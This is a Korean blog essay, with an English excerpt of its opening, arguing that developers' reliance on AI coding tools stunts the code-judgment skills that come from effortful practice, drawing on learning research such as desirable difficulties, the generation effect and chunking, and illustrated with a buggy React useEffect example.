에이전트 오케스트레이션이나 하네스 엔지니어링 같은 방법론은 결국 도구가 발전하면 누구나 따라가게 되는 시대의 흐름이다. 하지만 진짜 차별점은 다른 데 있다. 필자는 이것이 바로 AI의 출력물이 좋은지 나쁜지를 판단하고, 잘못된 방향을 교정하고, 더 나은 결과를 끌어낼 수 있는 역량이라고 생각한다. 그리고 아이러니하게도 이 능력은 우리가 AI에 의존할수록 약화된다.

“10년을 일해도 1년짜리 경험을 10번 반복하는 것은 10년의 경험이 아니다”라는 말이 있다. 경력은 쌓이는데 실력은 제자리인 사람, 3년차와 10년차의 판단력 차이가 거의 없는 사람을 의미하는 말이다.

물론 이런 현상은 AI 등장 이전에도 있었지만 AI가 코드 작성의 고통을 대신해주는 시대가 도래하면서 10년 동안 1년짜리 경험을 반복하는 경로에 빠지기가 이전과는 비교할 수 없이 쉬워졌다.

이러한 AI 의존은 “성장이 멈추는 개발자”라는 오래된 문제의 새로운 버전이다.

필자는 일전에 작성했던 AI가 코드를 쓰는 시대, 개발자의 진짜 역량이 드러난다라는 글에서도 AI 시대에도 개발자에게 요구되는 핵심 역량은 크게 달라지지 않을 것이라는 이야기를 한 적이 있다.

이번 포스팅에서는 그보다 앞단의 질문을 던져보려 한다. 왜 AI에 의존할수록 오히려 AI를 잘 쓰기 어려워지는지, 그리고 뇌과학은 이러한 현상에 대해 뭐라고 말하고 있는지에 대해서 알아보자.

AI를 잘 쓰려면 코드를 알아야 하는 역설

AI의 출력물의 퀄리티를 판단하는 판단력은 구체적으로 어떤 모습일까? 사실 AI에게 그저 “이걸 만들어줘”라고 말할 수 있는 사람은 이미 많다.

하지만 AI가 만든 결과물을 보고 “이 구조는 변경에 취약하다”, “이 인터페이스는 두 가지 책임을 가지고 있다”, “이 추상화 수준이 현재 프로젝트의 복잡도에 맞지 않는다”고 구체적으로 지적하고 교정할 수 있는 사람은 훨씬 적다. 그리고 바로 이 능력이 AI를 잘 활용하는 것과 AI에 끌려다니는 것을 가르는 차이이다.

그리고 이 능력은 “좋은 코드란 무엇인가”에 대한 감각에서 온다. 숙련된 개발자가 코드를 보고 “뭔가 이상한데”라고 느끼는 감각은 수많은 실패와 디버깅과 리팩토링의 경험에서 형성된 것이기 때문이다. 이것은 이론적으로 익혀서 얻을 수 있는 종류가 아니라 직감에 가깝다. 이러한 직감은 개발자가 수 많은 경험을 통해 직접 나쁜 구조에 고통받아봐야 생기고, 직접 좋은 추상화를 만들어봐야 “이 수준이 적절하다”는 감각이 생긴다.

이것은 단순히 이전 글에서 언급했던 “코드를 사람도 읽어야 하니까”라는 차원의 문제가 아니다. AI를 제대로 활용하려는 목적에서 봐도, 코드에 대한 깊은 이해는 대체 불가능한 전제 조건이다. AI 사용법을 학습하는 것과 코드 패턴을 학습하는 것은 양자택일의 관계가 아니라, 후자가 전자의 토대인 관계다. AI의 인터페이스가 아무리 쉬워져도, 그 출력물의 품질을 판단하는 눈은 AI가 대신 길러주지 않는다.

한 문장으로 요약하면 이렇다. AI를 가장 잘 활용할 수 있는 개발자는, AI 없이도 코드를 판단할 수 있는 개발자다. 그리고 AI에만 의존하면 바로 그 판단력이 형성되지 않는다.

그리고 이것이 단순한 직관이 아니라는 것을 뇌과학이 보여준다.

뇌는 편하면 기억하지 않는다

우리가 무언가를 “배웠다”고 말할 수 있으려면, 그것이 장기 기억에 저장되어야 한다. 단기적으로 이해했다가 며칠 뒤에 다 잊어버린다면 그건 학습이 아니라 소비에 가까운 것이다.

개발자라면 아마 이런 경험이 있을 것이다. 블로그 글에서 본 디자인 패턴을 읽을 때는 완벽히 이해한 것 같았는데, 막상 일주일 뒤에 비슷한 문제를 만나면 기억이 안 나는 경우. 반면 프로젝트에서 삽질하며 직접 구현해본 패턴은 몇 달이 지나도 선명하게 남아있는 경우. 이 차이는 단순히 개인차가 아니라 뇌가 기억을 저장하는 방식에서 비롯된다.

그런데 장기 기억이 형성되는 과정은 우리의 직관과는 조금 다른 면이 있다. 쉽고 매끄럽게 이해한 것보다, 어렵고 힘들게 끙끙대며 처리한 것이 기억에 더 잘 남는다.

UCLA의 인지심리학자 로버트 비요크(Robert Bjork)는 이 현상을 “바람직한 어려움”이라는 개념으로 설명했다. 비요크는 학습 과정에서 적절한 수준의 난이도와 저항이 존재할 때, 단기적인 수행 속도는 느려지지만 장기적인 기억 보존과 전이는 오히려 향상된다고 말했다.

비요크가 제시한 핵심 메커니즘 중 하나는 인출 연습이다. 같은 내용을 반복해서 읽는 것보다, 스스로 기억을 떠올려보는 연습이 장기 기억 형성에 훨씬 효과적이라는 것이다.

로디거와 카르피크(Roediger & Karpicke)의 2006년 연구는 이 현상을 훨씬 정량적으로 보여준다.

이 실험은 우선 학생들을 두 그룹으로 나누고, 한 그룹은 같은 자료를 반복해서 읽게 하고 다른 그룹은 자료를 읽게 한 뒤 스스로 내용을 떠올려보는 테스트를 했다. 이 테스트가 끝나고 5분 뒤에는 반복 읽기 그룹의 성적이 더 좋았다. 하지만 일주일 뒤에 다시 테스트했을 때는 인출 연습 그룹의 기억 보존율이 약 50% 더 높았다.

이 결과가 시사하는 바는 무엇일까? 바로 정보를 수동적으로 받아들이는 것과 능동적으로 인출하는 것이 단기적으로는 비슷해 보여도 장기적으로는 전혀 다른 효과를 만든다는 것이다.

그리고 이 차이는 뇌 활성도 수준에서도 확인된다. 능동적으로 학습한 내용을 떠올려봤던 그룹은 해마와 전두엽 피질 사이의 연결성이 강화되고, 감각운동 네트워크와 섬엽의 활성도가 증가했다.

해마는 새로운 기억을 형성하는 핵심 영역이고, 전두엽 피질은 고차원 사고와 의사결정을 담당한다. 이 두 영역이 동시에 활성화되면서 긴밀하게 소통한다는 것은 뇌가 정보를 단순히 저장하는 것이 아니라 맥락과 함께 엮어서 기록하고 있다는 의미이다.

반면 수동적으로 강의를 듣는 그룹은 해마와 방추상회 사이의 연결만 주로 활성화되었다. 방추상회는 시각 처리, 특히 패턴 인식을 담당하는 영역이다. 쉽게 말해 수동적 학습 상태의 뇌는 정보를 보고 있을 뿐 “처리하고 있지 않은 것”에 가까운 것이다.

즉, 무언가를 받아들이고 학습할 때 뇌가 열심히 일할 수록 기억이 단단하게 저장되고 편하게 받아들인 정보는 편하게 사라진다.

한 가지 주의할 점이 있다. 이것이 단순히 “어려우면 다 좋다”는 뜻은 아니다. 비요크가 강조하는 것은 “바람직한” 어려움이다. 학습자가 현재 가진 능력으로 도달할 수 있는 범위 안에서의 도전이어야 한다.

너무 쉬우면 부하가 부족해서 기억에 남지 않고, 너무 어려우면 처리 자체가 불가능해서 좌절만 남는다. 적절한 난이도의 과제를 스스로의 힘으로 해결하는 경험이 가장 효과적인 학습을 만든다는 것이다. 이 지점을 기억해두자. 뒤에서 AI를 어떻게 활용할 것인가를 이야기할 때 다시 돌아올 것이다.

생성 효과와 유창성의 착각

슬라메카와 그래프(Slamecka & Graf)가 1978년에 발표한 고전적 연구에서 밝혀진 “생성 효과”도 같은 맥락에서 짚고 넘어갈 필요가 있다. 실험에서 참가자들을 두 그룹으로 나누었다. 한 그룹에게는 단어 쌍을 완성된 형태로 보여주었다.

예를 들어 “뜨거운-차가운”이라는 쌍을 그대로 제시한 것이다. 다른 그룹에게는 “뜨거운-차___“처럼 빈칸을 주고 직접 단어를 완성하게 했다. 차이는 고작 몇 글자를 직접 채우느냐 마느냐였을 뿐인데, 결과는 꽤 다르게 나왔다. 그 몇 글자를 직접 채운 그룹의 기억 보존율이 유의미하게 높았던 것이다.

이 차이가 왜 발생하는지를 신경과학적으로 살펴보면 더 흥미롭다. 정보를 직접 생성하는 과정에서는 뇌의 의미 처리 영역, 인출 경로, 실행 제어 영역이 동시에 활성화된다. 여러 뇌 영역이 동시에 관여할수록 기억의 인코딩이 더 풍부해지고, 나중에 그 기억을 끌어올 수 있는 경로도 더 다양해진다. 반면 완성된 정보를 수동적으로 읽을 때는 주로 인식 네트워크만 작동하기 때문에, 기억의 인코딩이 상대적으로 얕다.

여기서 주의해야 할 함정이 있는데, 바로 인지심리학에서 “유창성의 착각”이라고 부르는 현상이다. 정보를 쉽게 처리할 수 있다는 느낌이 곧 그 정보를 잘 기억할 것이라는 착각으로 이어지는 것이다.

잘 정리된 글을 읽으면 이해한 것 같은 느낌이 강하게 들지만, 실제 기억 보존율은 그 느낌만큼 높지 않다. 비요크의 연구에서 반복 읽기 그룹이 5분 후 테스트에서는 더 좋은 성적을 보인 것도 같은 맥락이다. 당장은 잘 아는 것 같지만, 시간이 지나면 남아있지 않는다.

코드를 판단하는 능력은 어떻게 만들어지는가

앞서 설명한 바람직한 어려움과 생성 효과는 일반적인 학습 원리다. 이것이 코딩에 구체적으로 어떻게 작동하는지를 이해하려면, 코딩 판단력이 뇌에서 어떤 형태로 저장되는지를 먼저 살펴봐야 한다.

사실 코딩 실력이라고 부르는 것의 상당 부분은 절차 기억에 해당한다. 절차 기억은 “어떻게 하는가”에 대한 기억이다. 마치 자전거 타기, 악기 연주, 타이핑 같은 것들처럼 한번 체화되면 의식적으로 떠올리지 않아도 자동으로 실행된다.

코딩에서의 절차 기억은 특정 문제를 보면 자연스럽게 떠오르는 해결 패턴, 코드를 읽으면서 “여기 뭔가 이상한데”라는 직감이 드는 감각, 설계 구조를 잡을 때 본능적으로 떠올리는 경계의 위치, 리팩토링이 필요한 지점을 순식간에 포착하는 눈 같은 것들이 해당될 것이다.

이런 것들은 교과서에서 읽어서 아는 명시적 지식과는 완전히 다른 종류의 기억이다. “SOLID 원칙을 나열하시오”에 답할 수 있는 것과, 코드를 보는 순간 단일 책임 원칙 위반을 감지하는 것은 다른 뇌 영역이 담당하는 다른 유형의 지식이라는 의미이다.

절차 기억 형성 세 단계

앤더슨(Anderson)의 적응적 사고 통제 모델은 이 절차 기억의 형성을 세 단계로 설명한다.

첫 번째는 인지 단계다. 인지 단계에서는 모든 것을 의식적으로 한 단계씩 실행한다. 코딩을 처음 배울 때를 떠올려보면 이해가 쉽다. 우리가 for문을 작성할 때 초기값은 뭘로 하고, 조건은 어떻게 쓰고, 증감은 어떻게 하는지를 하나하나 생각하며 타이핑했던 것처럼 말이다. 이처럼 인지 단계에서는 작업 기억의 상당 부분을 이 과정에 소모한다.

두 번째는 연합 단계다. 연합 단계에서는 개별 절차들이 통합되기 시작한다. for문과 배열 접근과 조건 분기를 하나의 흐름으로 묶어서 실행할 수 있게 된다. 그 결과 점점 실수가 줄어들고 인지하는 속도가 빨라진다.

세 번째는 자동화 단계다. 자동화 단계에서는 무언가를 인지할 때 작업 기억을 거의 차지하지 않고 자동으로 실행되는 것들이 많아진다. 숙련된 개발자가 필터링 로직을 작성할 때 for문의 문법을 의식하지 않는 것처럼 패턴 자체가 하나의 단위로 자동 인식된다. 이 단계에 도달한 개발자는 문법이나 기본 패턴에 작업 기억을 쓰지 않기 때문에 그만큼의 여유를 설계 판단이나 구조적 사고에 활용할 수 있다.

중요한 것은 이 단계들이 반복적인 수행을 통해서만 진행된다는 점이다. 인지 단계에서 연합 단계로 넘어가려면 직접 뇌에 부하를 걸면서 같은 유형의 문제를 여러 번 직접 풀어봐야 한다. 그리고 연합 단계에서 자동화 단계로 넘어가려면 더 많은 반복이 필요하다.

이 과정에서 뇌의 기저핵과 소뇌가 핵심적인 역할을 한다. 기저핵은 습관 형성과 절차 학습을 담당하고 소뇌는 동작의 정교화와 자동화를 돕기 때문이다.

반복적인 수행을 통해 이 영역들의 시냅스 연결이 지속적으로 강화되는데, 이것을 장기 강화라고 부른다. 이렇게 시냅스 연결이 강화될수록 해당 절차의 실행이 더 빠르고 정확해지며, 의식적 노력 없이도 자동으로 수행할 수 있게 된다.

이 과정이 충분히 진행되면 신경 효율성이 나타난다. 전문가의 뇌는 같은 작업을 수행할 때 초보자보다 더 적은 영역을 활성화하는데, 이것은 뇌과학 연구에서 가장 일관되게 확인되는 발견 중 하나다. 더 적게 일하면서 더 나은 결과를 내는 것, 그것이 바로 직관이라고 불리는 추상적인 표현의 신경학적 실체에 가깝다.

즉, 의식적 추론 없이 빠르게 좋은 판단을 내릴 수 있는 능력은 수많은 반복과 고통의 결과물이고 이 과정에 지름길은 없다.

이것은 마치 운동과도 비슷하다. 운동선수가 근력을 키우려면 근육에 부하를 걸어야 한다. 너무 가볍지도, 너무 무겁지도 않은 적절한 무게를 들며 근육에 부하를 주다보면 어느새 근육이 손상되며 점점 성장하게되고 어느새 더 무거운 무게를 칠 수 있게 된다. 뇌도 마찬가지다. 현재 능력의 경계 근처에서 직접 씨름해야 성장이 일어난다.

전문가는 하나의 청크에 담을 수 있는 양이 다르다

뇌과학에서 전문성을 설명할 때 빠지지 않는 또 하나의 중요한 개념이 청킹이다.

인간의 작업 기억 용량은 약 3~4개의 청크로 제한되는데, 사실 청크의 개수 제한은 초보자나 전문가나 동일하다. 작업 기억의 슬롯 수 자체는 훈련으로 늘릴 수 없다고 한다.

그렇다면 전문가와 초보자의 차이는 어디에서 오는 것일까? 답은 하나의 청크에 담을 수 있는 정보의 양이 다르다는 데 있다.

체스 전문가를 대상으로 한 체이스와 사이먼(Chase & Simon)의 연구가 이를 보여준다. 연구진은 체스 고수와 초보자에게 실제 게임에서 나올 법한 보드 배치를 5초간 보여준 뒤, 기억에 의존해서 재현하게 했다. 고수들은 초보자보다 훨씬 더 많은 말의 위치를 정확하게 재현했다. 여기까지는 “기억력이 좋으니까”로 설명할 수 있을 것 같다.

하지만 결정적인 대조 실험이 있었다. 말을 무작위로 배치했을 때, 고수와 초보자의 재현 능력 차이가 거의 사라진 것이다. 고수들이 기억한 것은 개별 말의 위치가 아니라, 의미 있는 패턴이었다. “시실리안 디펜스의 전형적인 중반 배치”같은 것을 하나의 청크로 인식했기 때문에, 같은 3~4개의 작업 기억 슬롯으로 훨씬 많은 정보를 담을 수 있었던 것이다.

시실리안 디펜스는 백의 공격적인 오프닝에 대응하는 유명한 카운터 오프닝이다

코딩에서도 정확히 같은 메커니즘이 작동한다. 숙련된 개발자는 for문과 배열 접근과 조건 분기를 각각 별도의 정보로 처리하지 않는다. 그것을 “필터링 패턴”이라는 하나의 청크로 압축해서 인식한다. try-catch와 에러 타입 분기와 로깅을 “에러 핸들링 패턴”이라는 하나의 청크로 본다.

그래서 같은 코드를 보더라도 작업 기억에 여유가 있고, 그 여유를 더 높은 수준의 판단에 쓸 수 있다. 이를테면 “이 함수의 책임 범위가 너무 넓은 건 아닌지”, “이 의존성 방향이 맞는지” 같은 구조적 질문에 인지 자원을 할당할 수 있는 것이다.

그렇다면 이 청크는 어떻게 만들어지는 것일까? 직접 코드를 작성하고, 디버깅하고, 리팩토링하는 과정에서 특정 패턴을 반복적으로 마주치면서 뇌가 그 패턴을 하나의 단위로 묶기 시작한다. 이 과정에서 전두엽 피질과 기저핵의 회로가 함께 작동한다는 것이 최근 연구에서 확인되었다.

패턴을 “안다”는 것과 패턴이 “체화되었다”는 것은 다른 문제이다. 전자는 명시적 기억이고 후자는 절차 기억이다. 코드 리뷰에서 구조적 문제를 빠르게 포착하려면 후자가 필요하다.

이 두 가지의 차이는 실제 업무에서 극명하게 드러난다. “useEffect의 클린업 함수가 왜 필요한가요?”라는 질문에 교과서적으로 완벽하게 답할 수 있는 사람이, 코드 리뷰에서 아래와 같은 컴포넌트를 보고도 문제를 놓치는 경우가 있다.

function useNotificationCount({ userId }: { userId: string }) {
  const [count, setCount] = useState(0);

  useEffect(() => {
    const interval = setInterval(async () => {
      const notifications = await fetchNotifications(userId);
      setCount(notifications.unread);
    }, 5000);
  }, []);

  return count;
}

이 컴포넌트에는 두 가지 문제가 있다. clearInterval이 없어서 컴포넌트가 언마운트된 뒤에도 인터벌이 계속 실행되고, userId가 의존성 배열에 빠져 있어서 userId가 바뀌어도 이전 사용자의 알림을 계속 polling하게 된다.

“useEffect는 클린업 함수를 반환해야 하고 의존성 배열을 정확히 채워야 한다”는 걸 명시적 지식으로는 알고 있지만, 코드를 보는 순간 반사적으로 “여기 인터벌 정리 안 했는데”, “userId가 deps에 없네”라는 감각이 드는 수준의 절차 기억은 형성되지 않은 상태인 것이다. 이 감각은 직접 스테일 클로저 버그를 만들고, 언마운트 이후에도 살아있는 인터벌을 디버깅하고, 원인을 찾아본 사람에게만 생긴다.

물론 이 글에서 인용한 연구들은 대부분 코딩이 아닌 일반적인 학습 맥락에서 수행된 것이다. 코딩이라는 특수한 인지 활동에 이 결과들을 직접 적용하는 데는 한계가 있을 수 있다. 하지만 바람직한 어려움, 생성 효과, 절차 기억 형성의 원리는 영역 특수적이라기보다 인간 인지의 일반적 특성에 가깝고, 코딩이라는 활동이 이 원리에서 예외라고 볼 근거는 현재로서는 없다.

AI는 이 과정을 방해한다

AI에게 구현을 맡기면 개발자는 직접 코드를 고민하고 작성하는 과정을 건너뛰게 된다. 변수명을 뭘로 할지, 이 로직을 어떤 순서로 풀어낼지, 이 함수의 인터페이스를 어떻게 잡을지, 에러 처리를 어디서 할지. 이런 사소하지만 반복적인 판단들이 사실은 코드 패턴을 체화하는 핵심 과정인데, AI가 그 과정을 대신하는 순간 뇌에 걸리는 인지적 부하가 급격히 줄어든다.

본질적 부하까지 대신해버린다

물론 인지적 부하가 줄어드는 것 자체는 나쁜 것이 아니다. 인지 부하 이론에 따르면, 학습에서 중요한 것은 부하의 종류다. 스웰러는 인지 부하를 세 가지로 구분했다. 과제 자체의 복잡성에서 오는 내재적 부하, 잘못된 학습 설계에서 오는 외재적 부하, 그리고 스키마 구축을 직접 돕는 본질적 부하.

AI가 줄여주는 것이 외재적 부하, 즉 보일러플레이트 작성이나 문법 실수 교정 같은 것이라면 오히려 학습에 도움이 될 수 있다. 하지만 AI가 본질적 부하까지 줄여버린다면, 뇌가 스키마를 구축할 기회 자체가 사라지는 것이다.

문제는 현실에서 이 두 종류의 부하를 깔끔하게 분리하기 어렵다는 데 있다. AI에게 “이 함수를 구현해줘”라고 하면, AI는 보일러플레이트만 대신 작성하는 것이 아니라 핵심 로직의 설계 판단까지 대신한다. 어떤 자료구조를 쓸지, 어떤 순서로 처리할지, 에러 케이스를 어떻게 다룰지. 이 판단들이 바로 본질적 부하에 해당하는 것들인데, 이것까지 AI에게 맡겨버리면 뇌에는 거의 아무것도 남지 않게 된다.

절차 기억의 관점에서 보면, AI가 구현을 대신해주면 인지 단계에서 직접 끙끙대며 코드를 작성하는 시간이 줄어들기 때문에 연합 단계로의 전환이 지연되고, 결과적으로 자동화 단계에 도달하기 어려워진다.

청킹의 관점에서도 마찬가지다. 직접 패턴을 구성하고 조합하는 과정 없이 완성된 코드를 읽기만 하면, 개별 패턴을 인식할 수는 있지만 그것을 자신만의 청크로 압축하는 경험이 부족해진다. 마치 체스 교본만 읽고 실전을 뛰지 않는 것과 비슷하다.

특히 주니어 개발자에게 이 문제는 심각할 수 있다. 아직 인지 단계에 있는 패턴들이 많은 상태에서 AI가 그 단계를 건너뛰게 해주면, 겉으로는 빠르게 결과물을 내고 있지만 뇌 안에서는 아무런 절차 기억도 형성되지 않는 상태가 될 수 있기 때문이다.

AI가 코드를 대신 작성해주는 상황은 생성 효과 실험에서 완성된 단어 쌍을 그냥 읽는 것에 가깝다. 코드가 눈앞에 있으니 이해한 것 같은 느낌은 든다. 로직을 따라가며 “아, 이렇게 하면 되는구나”라고 고개를 끄덕일 수 있다.

하지만 직접 생성하지 않았기 때문에 기억에 깊이 각인되지 않는다. 다음에 비슷한 문제를 만났을 때 “분명 본 적이 있는데 기억이 안 나는” 상태에 빠지기 쉽다. 앞서 이야기한 유창성의 착각이 여기서도 작동하는 것이다.

물론 AI가 만든 코드를 읽는 것이 완전히 수동적인 행위는 아니다. 코드의 의도를 파악하고 실행 흐름을 추적하는 과정에서 어느 정도의 인지적 노력이 필요하기는 하다.

하지만 숙련된 개발자일수록 코드를 읽을 때의 뇌 활성화 수준이 낮아진다는 것이 연구를 통해 확인되어 있다. 신경 효율성이라고 불리는 이 현상은, 전문가가 더 적은 인지 자원으로 더 빠르게 코드를 처리한다는 것을 의미한다. 효율적으로 처리한다는 것은 곧 그만큼 인지적 부하가 적다는 뜻이기도 하다.

즉, 숙련된 개발자가 AI의 출력을 읽는 행위는 생각보다 뇌에 부하를 많이 걸지 않는다.

그리고 초보 개발자의 경우, 코드를 읽으면서 부하가 걸리더라도 그것은 코드를 이해하는 데 쓰이는 부하이지 코드를 생성하는 과정에서 발생하는 부하와는 질적으로 다르다. 읽기만으로 새로운 패턴을 체화하기에 충분한 부하가 걸리지 않을 가능성이 있다는 것이다.

이 글을 읽는 독자 분들 중 일부는 AI가 짠 코드를 깊이 분석하고 리뷰하는 것만으로도 충분한 학습이 되지 않느냐고 할 수 있다. 물론 이것도 일리 있는 말이다.

하지만 여기에는 함정이 있는데, 뇌과학에서 말하는 학습의 핵심인 예측과 피드백이 빠져있기 때문이다. 직접 코드를 짤 때는 매 순간 다음엔 무엇을 쓸지 예측하고, 그것이 작동하는지 피드백을 받으며 시냅스를 수정한다. 반면 이미 완성된 AI의 코드를 읽는 행위는 예측의 과정이 생략된 사후 해석에 가깝다.

마치 해설지가 옆에 놓인 수학 문제를 푸는 것과 같다. 해설을 읽으면 이해는 가지만, 막상 시험장에서 백지를 마주하면 펜이 나가지 않는 이유는 인식(Recognition)의 회로와 인출(Retrieval)의 회로가 다르기 때문이다. 디테일을 스스로 결정해 본 고통의 총량이 청크의 밀도를 결정한다.

성장이 멈추는 경로의 마찰이 사라졌다

여기서 한 발 물러서서 더 넓은 그림을 보자. 성장이 멈추는 문제는 AI 이전에도 있었다. 앞서 이야기한 ‘1년짜리 경험을 10번 반복하는’ 패턴의 구체적인 모습이 무엇인지 살펴보자.

StackOverflow에서 답을 복사해서 붙여넣기만 하는 개발자. 프레임워크의 API는 익숙하지만 그 아래에서 무슨 일이 일어나는지 모르는 개발자. 같은 종류의 CRUD 코드를 5년째 반복하면서 연차만 쌓이는 개발자. 이 사람들의 공통점은 뇌에 충분한 부하를 걸지 않았다는 것이다.

StackOverflow에서 복사한 코드가 돌아가면 거기서 멈춘다. 왜 이 코드가 작동하는지, 다른 방법은 없었는지, 이 패턴의 트레이드오프는 무엇인지를 묻지 않는다. 프레임워크가 제공하는 추상화 위에서만 일하면 그 아래의 메커니즘에 대한 청크가 형성되지 않는다. 같은 패턴의 코드를 반복하면 자동화 단계에 도달하기는 하지만, 자동화 단계에 도달한 패턴의 범위가 좁으면 새로운 문제 앞에서 무력해진다.

이 모든 경우에서 작동하는 메커니즘은 사실 동일하다. 인지적 부하를 회피하면 절차 기억이 형성되지 않고, 청크가 만들어지지 않고, 결과적으로 성장이 멈춘다. AI가 등장하기 전에도 성장이 멈추는 경로는 충분히 열려 있었다.

그런데 AI는 이 경로의 마찰을 극적으로 줄여버렸다. StackOverflow 시절에는 그래도 검색하고, 여러 답변을 비교하고, 자기 상황에 맞게 수정하는 과정이 있었다. 이 과정에서 최소한의 인지적 부하가 걸렸다. 프레임워크에 의존하더라도 공식 문서를 읽고 예제를 따라 해보는 시간이 있었다.

하지만 AI는 맥락을 주면 바로 완성된 코드를 내놓는다. 검색도, 비교도, 수정도 필요 없다. “작동하는 코드”까지의 거리가 거의 0에 가까워진 것이다.

생산성 관점에서 이것은 혁명이다. 하지만 학습 관점에서 보면, 뇌에 부하가 걸릴 기회가 그만큼 줄어든 것이기도 하다. AI 이전에는 “편한 길”을 택하더라도 어느 정도의 마찰이 있었는데, AI는 그 마찰마저 제거해버렸다. 성장이 멈추는 경로로 미끄러져 들어가기가 이전보다 훨씬 쉬워진 것이다.

이 문제는 경력이 높다고 비껴가지 않는다. 다만 양상이 다를 뿐이다. 주니어 개발자에게 이 문제가 더 심각한 것은 사실이다. 절차 기억이 충분히 형성되지 않은 상태에서 AI가 그 형성 과정 자체를 건너뛰게 하면, 기초 체력이 없는 상태로 경력만 쌓이게 된다.

아직 운전을 배우는 중인 사람에게 자율주행차의 판단을 평가하라고 하는 것과 같다. 직접 핸들을 잡아보지 않은 사람이 자율주행의 실수를 감지하기는 어렵다.

하지만 시니어 개발자라고 해서 자유로운 것은 아니다. 기술은 계속 변하고, 새로운 언어, 프레임워크, 패러다임이 등장할 때마다 기존의 청크로는 처리할 수 없는 새로운 패턴을 만나게 된다.

이 새로운 패턴을 체화하려면 또다시 인지 단계부터 시작해야 한다. 시니어라서 이 과정이 면제되지 않는다. 새로운 것을 배울 때는 누구나 초보자다.

시니어의 장점은 기존의 추상화 능력을 활용해서 새로운 청크를 더 빠르게 형성할 수 있다는 것이다. “이건 백엔드의 미들웨어 패턴과 비슷하구나”처럼 기존 청크에 연결 지을 수 있다. 하지만 그 연결 자체도 직접 코드를 만져보면서 발견하는 것이지, AI의 출력을 읽으면서 자동으로 발견되는 것은 아니다.

결국 경력과 관계없이, AI 시대에도 직접 고민하고 코드를 만져보는 시간이 있어야 한다. 그렇다면 AI를 쓰면서도 그 시간을 어떻게 만들 수 있을까?

뇌에 부하를 거는 방법

결국 성장을 위한 핵심 원리는 하나다. 바로 뇌에 부하를 걸어야 한다는 것이다.

AI에게 코드를 맡기기 전에 먼저 자신의 설계안을 만들어두는 것은, 생성 효과를 의도적으로 활용하는 행위다. 자신의 답을 먼저 만들어두었기 때문에 AI의 출력을 단순히 소비하는 것이 아니라 비교하고 평가하게 된다. “내 설계와 뭐가 다른지”, “AI의 선택이 더 나은지, 내 선택이 더 나은지”를 판단하는 과정에서 뇌의 의미 처리와 실행 제어 영역이 동시에 활성화된다. 생성 효과 연구가 보여준 것과 같은 메커니즘이다.

리뷰를 진지하게 하는 것도 마찬가지다. “작동하니까 통과”로 넘기면 뇌에 부하가 거의 걸리지 않는다. 하지만 “왜 이 구조인가”, “6개월 뒤에 이 코드를 수정해야 한다면 어디가 문제가 될까”를 의식적으로 묻는 순간, 뇌는 작업 기억을 적극적으로 사용하기 시작한다. 이 과정이 귀찮고 시간이 걸리는 것은 당연하다. 바로 그 귀찮음이 비요크가 말한 바람직한 어려움이다.

직접 코드를 짜보는 시간을 만드는 것은 절차 기억 형성의 관점에서 대체 불가능하다. 앤더슨의 모델이 보여주듯, 인지 단계에서 연합 단계로, 연합 단계에서 자동화 단계로 전환되려면 반복적인 수행이 필요하다. 읽는 것으로는 이 전환이 일어나지 않는다.

30분 동안 끙끙대며 직접 짠 코드가 AI가 3초 만에 생성한 코드보다 기억에 더 깊이 남는 이유가 여기에 있다. 다만 막혀서 진전이 없을 때는 AI에게 힌트를 구하는 것도 하나의 전략이다. 핵심은 전체 답이 아니라 최소한의 정보만 얻는 것이다. 답을 받아 적는 것과 힌트를 토대로 직접 풀어내는 것은 뇌에 걸리는 부하가 완전히 다르다.

앞서 이야기한 바람직한 어려움의 요점이 바로 여기에 있다. 너무 쉬우면 부하가 걸리지 않고, 너무 어려우면 좌절만 남는다. AI를 통해 진입 장벽은 낮추되 핵심 판단은 직접 내리는 것, 그것이 적정 난이도를 유지하는 방법이다.

이 실천들의 공통점은 전부 귀찮다는 것이다. 당장의 생산성 관점에서는 비효율적이다. AI에게 맡기면 빠르게 끝날 일을 굳이 돌아가는 느낌이 든다.

물론 귀찮고 스트레스받겠지만 그런 스트레스도 필요하다.
운동 많이 된다

생산과 학습의 최적 전략은 다르다. AI는 생산의 도구로는 탁월하지만, 학습의 도구로는 한계가 있다. 그리고 장기적으로 뇌에 남은 것들이 결국 코드 리뷰의 질을 결정하고, 설계 판단의 정확도를 결정하고, 역설적이게도 AI를 얼마나 잘 활용할 수 있는지를 결정한다.

이 훈련들이 쌓이면 결국 하나의 눈이 만들어진다. AI가 만든 코드를 보자마자 무엇이 잘못됐는지, 어디서 더 나은 선택이 가능한지를 감지하는 눈. 그것이 서두에서 이야기한 “출력물을 판단하고 교정하는 역량”의 실체다.

고통은 선택이 아니라 조건이다

이 글의 문제의식은 “AI가 나쁘다”는 것이 아니다. AI 이전에도 성장이 멈추는 개발자는 있었고, AI가 없어져도 그런 개발자는 있을 것이다.

핵심은 인지적 부하를 회피하면 성장이 멈춘다는, 뇌의 작동 방식에 내재된 구조적 제약이다. AI는 그 회피를 전례 없이 쉽게 만든 도구일 뿐이다.

필자는 이 문제가 개인의 의지력이 아니라 구조의 문제라고 생각한다. AI를 사용하면서도 성장할 수 있는 구조를 의식적으로 설계하지 않으면, 편한 쪽으로 흘러가는 것은 인간의 자연스러운 성향이다.

뇌는 기본적으로 에너지를 아끼려고 한다. 같은 결과를 더 적은 노력으로 낼 수 있다면 뇌는 당연히 그쪽을 선택한다. 이것은 의지가 약해서가 아니라, 뇌가 원래 그렇게 설계되어 있기 때문이다.

그래서 “AI를 쓰느냐 마느냐”가 아니라 “AI를 쓰면서 뇌에 부하를 어떻게 걸 것인가”가 진짜 질문이 되어야 한다고 생각한다. 편하게 일하는 것과 편하게만 일하는 것 사이에는 아주 큰 차이가 있다.

고통은 피하고 싶은 것이지만, 성장의 관점에서 보면 선택이 아니라 조건에 가깝다. AI가 아무리 발전해도 이 조건은 바뀌지 않는다. 뇌의 작동 방식이 바뀌지 않는 한.

그리고 AI를 잘 쓰는 사람이 살아남는 시대에, 역설적이게도 그 힘은 AI 없이도 판단할 수 있는 능력에서 나온다.

Developers Who Stopped Growing in the Age of AI Coding

2026-04-18T20:29:24+09:00

The more you use AI, the harder it becomes to use AI well. That may sound counterintuitive, but I believe it’s true.

Everyone seems to be caught up in AI FOMO these days, working hard to get better at using AI. But before we get there, we need to ask what it actually means to “use AI well.”

Methodologies like agent orchestration or harness engineering are really just the tide — as tools improve, everyone catches up eventually. The real differentiator lies elsewhere. I think it’s the ability to judge whether AI’s output is good or bad, correct it when it goes in the wrong direction, and draw out better results. And ironically, that ability weakens the more we lean on AI.

